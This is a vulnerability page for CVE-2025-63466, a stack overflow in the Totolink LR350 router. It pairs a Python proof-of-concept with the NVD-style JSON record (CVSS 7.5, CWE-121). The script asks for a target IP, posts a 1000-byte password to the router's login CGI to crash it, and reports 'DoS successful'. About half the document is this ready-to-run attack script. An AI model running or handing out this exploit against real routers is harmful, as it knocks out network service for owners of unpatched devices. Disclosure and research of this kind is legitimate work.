CVE-2025-63466

#!/usr/bin/env python3 """ CVE-2025-63466 PoC - Totolink LR350 Stack Overflow in password parameter This PoC demonstrates the stack overflow vulnerability in sub_426EF8 function. Target: Totolink LR350 v9.3.5u.6369_B20220309 """ import requests import sys target_ip = input("Enter target IP: ") or "192.168.1.1" target_port = input("Enter target port [80]: ") or "80" base_url = f"http://{target_ip}:{target_port}" # Generate payload with oversized password to trigger stack overflow # The exact overflow length depends on buffer size in sub_426EF8 # Using 1000 bytes as a safe overflow length overflow_length = 1000 overflow_payload = "A" * overflow_length # Common authentication endpoint on Totolink routers login_endpoint = "/cgi-bin/login.cgi" # PoC POST data - password parameter triggers overflow in sub_426EF8 post_data = { "username": "admin", "password": overflow_payload } print(f"[*] Target: {base_url}") print(f"[*] Sending malicious request to {login_endpoint}") print(f"[*] Payload length: {overflow_length} bytes") try: response = requests.post( f"{base_url}{login_endpoint}", data=post_data, timeout=5 ) print(f"[+] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target did not respond - likely crashed (DoS successful)") except requests.exceptions.ConnectionError: print("[+] Connection failed - target may be down") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2025-63466", "sourceIdentifier": "[email protected]", "published": "2025-10-31T16:15:40.793", "lastModified": "2025-11-05T17:30:45.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Totolink LR350 v9.3.5u.6369_B20220309 was discovered to contain a stack overflow via the password parameter in the sub_426EF8 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr350_firmware:9.3.5u.6369_b20220309:*:*:*:*:*:*:*", "matchCriteriaId": "6E7C618F-D415-4075-96A5-45E44B52FB62"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr350:-:*:*:*:*:*:*:*", "matchCriteriaId": "4CA0663B-3F55-44EF-AF32-F83AB0411748"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/7/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/7/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}